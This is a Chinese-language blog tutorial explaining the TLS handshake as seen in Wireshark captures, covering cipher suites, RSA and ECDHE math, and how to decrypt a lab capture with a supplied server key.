(注:大多数人将HTTPS和SSL(Secure Sockets Layer)联系起来,SSL是Netscape公司在90年代中期发明的。随着时间的推移这种说法就渐渐变得不准确了。由于Netscape失去了市场份额,它将SSL的维护工作移交给因特网工程任务组(IETF)。第一个后Netscape版本被重新命名为安全传输层协议(TLS),TLS1.0是在1999年1月份发布的。由于TLS诞生都10年了, 所以真正的“SSL”传输其实是几乎见不到.)

二、Wireshark看TLS握手

下面是我们抓包数据中的一次https请求的建立过程:

很明显,前3条消息对应的是TCP通信的三次握手的过程。(需要说明的是,根据RFC2818,一旦出现“https”就意味着TCP需要连接目标端的443号端口)

Client Hello

从这条消息开始,开始TLS协议的握手过程

Version

我们可以在Client Hello消息中,看到两个Version信息,根据RFC5246它们分别是:第一处表示本次通信使用的TLS版本为1.0;第二处表示客户端期望使用的TLS版本为1.2。(注:版本协商,客户端会提供它能支持的最高的TLS版本,由服务端确认最终使用的TLS版本)

Random

前面的四个字节是当前时间,它的格式是Unix时间戳。跟随其后是28字节的随机数,它将在后面过程中使用。

Session ID

在这里它是空值或者是null。如果在几秒前连接过该服务,它就可能继续使用之前的会话,不需要重新执行整个“握手”过程。在我们的抓包内容中,由于是第一次连接,所以Session ID长度为0。

Cipher Suites

它是请求发送端所支持的密码算法的一个列表。这里看到请求发起方提供了22个可供选择的选项。关于CipherSuite的解释,我们在后面篇章会有更详细的介绍。

Extension:server name

这个字段包含了我们请求要发往的服务器的域名信息,它作用有些类似HTTP协议header中的“Host”,这样就允许了Internet公司出于成本的考虑将上百个网站绑定在同一IP 地址上。

ServerHello

其中有服务端对Client Hello回应的一些关键信息:

Random

同Client Hello类似,它返回了服务端的当前时间,以及服务端产生的一个28字节随机数

Version

服务端确认通信使用的TLS版本:TLS1.2

Cipher Suite

服务端选择的通信使用的加密协议套件:

TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384

Session ID

建立的会话标识ID,有了它,随后重连服务器就不需要再执行一个完整的握手过程了。

Certificate&Server Key Exchange&Server Hello Done

在同一条消息中包含了:服务端返回证书,交换公钥以及“Server Hello”结束三部分内容。客户端收到服务证书后,会先验证证书的合法性,如果验证通过才会进行后续通信。

Client Key Exchange&Change Cipher Spec、Encrypted Handshake Message(Finished)

这里三条客户端发送的消息:交换公钥,编码改变通知 和 握手结束消息。 ChangeCipher Spec 、Multipiple Handshake Messages(Finished)

这是TLS握手过程的最后一条消息,内容为:服务端编码改变通知 和 握手结束消息。至此,TLS通信的整个握手过程已经完成。

要注意,在Finished消息中包含两部分信息,finish标识和hash校验信息。但是无论客户端还是服务端,在Change Cipher Spec之后的内容都已经通过加密方式传输了,所以Finished中具体内容已经无法通过Wireshark直接查看。 TLS通信过程可以总结为:

客户端将可支持TLS版本、加密套件列表、随机数等,通过Hello 结构体传给服务端 服务端将选定的TLS版本、使用的加密套件和服务端产生的随机数通过Hello结构体回传给客户端。同时也会把证书传给客户端,证书里面同时带有公钥 客户端验证证书后,会计算产生随机数字Pre-master secret并用证书公钥加密后发给服务器,同时通过计算获得协商密钥 服务端使用私钥解密出Pre-master secret,并通过计算获得协商密钥 最后双方使用对称加密的密钥进行加解密传输

三、CipherSuite的介绍

在基本了解TLS的通信过程之后,我们再来了解一下CipherSuite的概念。每一个CipherSuite都是4个算法类型的组合:

1个authentication (认证)算法 1个encryption(加密)算法 1个message authentication code (消息认证码 简称MAC)算法 1个key exchange(密钥交换)算法 显然,这4个算法是用于实现信息加密、完整性校验 和 身份验证的功能

从我们的抓包内容中可以看到:服务端最终选择的加密套件为:

TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384

对应到CipherSuite算法类型后:

CipherSuite算法类型 示例中对应算法 常见算法名称 认证算法 RSA RSA(主流),DSA,ECDSA 加密算法 AES_256_GCM AES128/256 bit,加密模式gcm/ cbc/ ecb

RC4和3DES(不推荐),DES(已淘汰)

MAC算法 SHA384 SHA256, SHA384, SHA1 密钥交换算法 ECDHE DHE,ECDHE (注:关于cipher suite中各算法的流行趋势,感兴趣的同学可以自行检索)

关于CipherSuite协商过程:https消息内容是通过CipherSuite来指定过程中使用的算法的服务端大多数情况下,会从客户端Cipher Suites中按排列顺序从上往下进行选择,因为排列靠前意味着安全性越高算法的选择会一定程度上影响https连接的性能,在某些场景下服务端可以综合考虑安全性和效率问题,选择更加合适的算法组合。

四、一些数学相关的知识

对称加密 和 非对称加密

对称密码编码技术,它的特点是文件加密和解密使用相同的密钥,即加密密钥也可以用作解密密钥,这种方法在密码学中叫做对称加密算法。相应的非对称加密算法中加密和解密使用两种不同的密钥,其中,公钥是公开的,私钥由个人持有,必须保密。

HTTPS 的通信过程中只在握手阶段使用了非对称加密,后面的通信过程均使用的对称加密。尽管非对称加密相比对称加密更加安全,但也存在两个明显缺点:

CPU 计算资源消耗大。一次完全 TLS 握手,密钥交换时的非对称解密计算量占整个握手过程的 90% 以上,如果应用层数据也使用非对称加解密,性能开销太大,无法承受。 非对称加密算法对加密内容的长度有限制,不能超过公钥长度。比如现在常用的RSA公钥长度是2048位,意味着待加密内容不能超过256字节。所以非对称加密目前只能用来作密钥交换或者内容签名,不适合用来做应用层传输内容的加解密。 非对称密钥交换算法是整个 HTTPS 得以安全的基石,充分理解非对称密钥交换算法是理解 HTTPS 协议和功能的关键。下面我们选取其中常见的两种非对称算法进行介绍:

RSA算法简介

1977年,三位数学家Rivest、Shamir 和 Adleman 设计了一种算法,可以实现非对称加密。这种算法用他们三个人的名字命名,叫做RSA算法。从那时直到现在,RSA算法一直是最广为使用的”非对称加密算法”。

公钥与密钥的产生

假设Alice想要通过一个不可靠的媒体接收Bob的一条私人讯息。她可以用以下的方式来产生一个公钥和一个私钥:

随意选择两个大的质数p和q,p不等于q,计算N=pq。

根据欧拉函数,求得r =φ(N)=φ(p)φ(q)= (p-1)(q-1)

选择一个小于 r 的整数 e,求得 e 关于模 r 的模反元素,命名为d。(模反元素存在,当且仅当e与r互质)

将 p 和 q 的记录销毁。

(N,e)是公钥,(N,d)是私钥。Alice将她的公钥(N,e)传给Bob,而将她的私钥(N,d)藏起来。

加密消息

假设Bob想给Alice送一个消息m,他知道Alice产生的N和e。他使用起先与Alice约好的格式将m转换为一个小于N,且与N互质的整数n,比如他可以将每一个字转换为这个字的Unicode码,然后将这些数字连在一起组成一个数字。假如他的信息非常长的话,他可以将这个信息分为几段,然后将每一段转换为n。用下面这个公式他可以将n加密为c: n^e ≡ c (mod N)

计算c并不复杂。Bob算出c后就可以将它传递给Alice。

解密消息

Alice得到Bob的消息c后就可以利用她的密钥d来解码。她可以用以下这个公式来将c转换为n:

c^d ≡ n (mod N)

得到n后,她可以将原来的信息m重新复原。

解码的原理是

c^d ≡ n^(e·d)(mod N)

已知e·d ≡ 1 (mod r),即e·d =1 +hφ(N)。由欧拉定理可得:

n ^(e·d) =n^ (1 +hφ(N))=n·((n^φ(N))^h)≡(n(1)^h)(modN) ≡ n (mod N)

签名消息

RSA也可以用来为一个消息署名。假如Alice想给Bob传递一个署名的消息的话,那么她可以为她的消息计算一个散列值(Message digest),然后用她的私钥加密这个散列值并将这个“署名”加在消息的后面。这个消息只有用她的公钥才能被解密。Bob获得这个消息后可以用Alice的公钥解密这个散列值,然后将这个数据与他自己为这个消息计算的散列值相比较。假如两者相符的话,那么他就可以知道发信人持有甲的密钥,以及这个消息在传播路径上没有被篡改过。

通过一次简单实践更好的了解RSA

  1. 假设p = 2,q = 5(p,q都是素数即可),则N = pq = 10;
  2. 得到:r = (p-1)(q-1) = (2-1)(5-1) = 4;
  3. 根据模反元素公式,可以得出,e·d ≡ 1 (mod 4),即e·d = 4n+1 (n为正整数);
  4. 假设n=5,则e·d = 21,且e、d为正整数,并且e与r互质,则e = 7,d = 3;
  5. 获得公钥和密钥:公钥为(N, e) = (10, 7),密钥为(N, d) = (10, 3);
  6. 假设要传输的数字为2,通过公钥加密后为:(2^7)(mod 10) = 8;
  7. 通过密钥解密:(8^3)(mod 10) = 512(mod 10) = 2,即获得结果; ECDHE

目前大部分 HTTPS 流量是使用 ECDHE进行密钥交换。

在介绍ECDHE之前,先来看一下ECDH,它其实是使用椭圆曲线加密技术(ECC)的 DH密钥交换(Diffie-Hellman)算法。DH密钥交换算法,可以让交换双方在不共享任何秘密的情况下协商出一个密钥。ECC则是建立在基于椭圆曲线的离散对数问题上的密码体制,在相同的密钥长度下,其安全性比RSA更高。

而ECDHE则是ECDH的Ephemeral version,它会为每次握手过程分配一个不同的DH key,从而提供前向安全性。实际上,在HTTP/2中允许使用的Cipher Suite必须采用具有前向安全性的密钥交换算法。

五、总结

https实际就是在TCP层与http层之间加入了TLS/SSL来解决安全问题的。

在进行应用数据传输之前,TLS需要通过握手过程来协商安全通信所需的相关参数。

整个通信过程中主要用到散列、对称加密、非对称加密和证书等相关技术,来解决客户端与服务器数据传输中各种安全风险问题,从而达到保证整个通信过程的安全。

六、参考链接

http://www.infoq.com/cn/articles/HTTPS-Connection-Jeff-Moser

https://blog.cloudflare.com/keyless-ssl-the-nitty-gritty-technical-details/

https://tools.ietf.org/html/rfc5246

https://blog.helong.info/blog/2015/01/23/ssl_tls_ciphersuite_intro/

wireshark学习笔记(九)——HTTPS协议

HTTPS的工作流程

使用HTTPS协议工作时,服务端和客户端的信息传输都会进行加密,所以传输的数据都是加密后的数据。HTTPS的工作流程如下:

1、客户端使用HTTPS的URL访问Web服务器,要求与Web服务器建立SSL连接。

2、Web服务器收到客户端的请求后,会将网站包含有公钥的证书信息传送一份给客户端。

3、客户端浏览器与Web服务器开始协商SSL连接的安全等级,也就是信息加密的等级。

4、客户端的浏览器根据双方同意的安全等级,建立会话密钥,然后利用网站的公钥将会话密钥加密,并传送给网站。

5、Web服务器利用自己的私钥解密出会话密钥。

6、Web服务器利用会话密钥加密与客户端之间的通信。

HTTPS数据包的捕获

由于HTTPS是建立在TCP协议之上的,所以我们在捕获之前,可以设置筛选器为TCP。开始捕获后,可以通过登录QQ邮箱的方式,捕获到含有HTTPS协议的数据包。如下图所示(Lab15-1.pcapng):

在这个界面的Info列中,可以看到这些数据包都是使用HTTPS协议传输的。而在Protocol列中,可以看到SSL、TCP以及TLSv1.1等协议。其中的TLS(Transport Layer Security)其实是SSL的升级版,是为网络通信提供安全及数据完整性的一种安全协议。二者都是在传输层对网络连接进行加密的。

为了便于进一步的分析,这里我们依旧可以采用前几次课中说过的,通过着色后提取数据包的方式,将我们需要的数据包提取出来,这里不再赘述。

HTTPS数据包的分析

这里我们打开Lab15-1-https.pcapng这个实验文件,也就是经过提取后的文件进行分析:

首先可以发现1到3号数据包是TCP连接建立时的三次握手的过程。接下来从第4个数据包开始,其实就是SSL握手过程中所产生的数据包,也就是使用HTTPS协议加密的信息。

对于第4个数据包,包含有客户端向服务器发送的Client Hello信息,以便开始一个新的加密会话连接。展开SSL区段,可以看到客户端支持的TLS的版本(Version);生成的随机数(Random,以便用于生成对话密钥);Cipher Suites的值是15,说明支持15种加密算法;支持的压缩方式(Compression)以及一些扩展(Extension)等:

当服务器收到客户端的请求后,就会向客户端发出响应,也就是Server Hello。对于我们这个捕获文件而言,第6个数据包就是服务器发送给客户端的确认信息,告诉客户端请求已经收到:

展开SSL数据段,可以看到服务器支持的TLS版本为1.1。也可以看到服务器生成的随机数,用于生成对话密钥。下面还有加密套件信息,这里的加密套件表示使用RSA公钥算法来验证证书以及交换密钥,用AES加密算法对数据进行加密,使用SHA算法来校验消息内容。

客户端收到服务器的响应后,首先验证服务器的证书。如果证书不是由可信任的机构颁发的,或者证书中的域名与实际域名不一致,或者证书已过期,就会向访问者显示一个警告,由访问者选择是否还要继续通信。如果证书没有问题,客户端就会从证书中取出服务器的公钥。然后,向服务器发送一些信息,包括用服务器公钥加密的随机数、编码改变通知和客户端握手结束通知等。服务器发送给客户端的数据包,如下图所示:

06

在Certificate区段中,保存有证书的详细信息。可以看到请求的网站、组织名、地区名、省名以及国家等的信息。紧接下来的signedCertificate是签名证书信息。“签名”的作用就在于,客户端(浏览器)在确定是否要信任一个网站时,就是通过证书判断的。所以每个证书上必须要有一份“签名”。最后一行Length的值为0,表示告诉客户端“Hello”过程已经完成,也就意味着服务器将不验证客户端的证书。

在客户端收到并验证服务器响应的证书后,将会把生成的密钥传给服务器,如下图所示:

在Client Key Exchange中,我们可以看到TLS的类型、版本、长度、握手协议、握手类型、长度、密钥交换算法客户端参数、公钥长度以及加密公钥等信息。而在其它的两个记录中,也有着类似的结构。

经过以上几个阶段,整个握手过程也就结束了。接下来客户端与服务器进入加密通信的阶段,就完全是使用普通的HTTP协议,但是会使用会话密钥来加密内容。用户可以发送通过TLS层使用RC4加密的HTTP的消息,也可以解密服务端发送来的由RC4加密的消息。此外还会通过哈希算法来验证消息是否被篡改。

在应用层,客户端向服务器发送的信息为:

可见,发送的数据都经过了加密处理。服务器响应客户端的信息,如下图所示:

可以看到,这也是使用了SSL进行加密。

HTTPS数据包的解密

HTTPS的数据包并不是绝对安全的,在一定的条件下也可以实现解密的操作,这里我们打开Lab15-2.cap实验文件:

可以看到,这里的数据包使用了SSLv3进行加密。为了实现解密,我们需要Lab15-2.key文件。为了便于寻找,这里我将这个文件放在了我的电脑中的C盘根目录下。之后在Wireshark中选择菜单栏的“Edit”->”Preferences”->”Protocols”->”SSL”->”RSA keys list”->”Edit”->”New”,之后进行如下填写:

之后点击OK,就可以实现解码了:

现在已经可以看到GET方法等信息。尽管我们对捕获文件进行了解码操作,但是并不意味着HTTPS不安全。因为解码所需要使用的密钥只能在服务器导出,不同的服务器的情况并不一样,因此想要破解HTTPS的数据包,是需要满足很多的条件的。

作者:kevinhuangk
链接:https://www.jianshu.com/p/f8e0b859749a
來源:简书
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。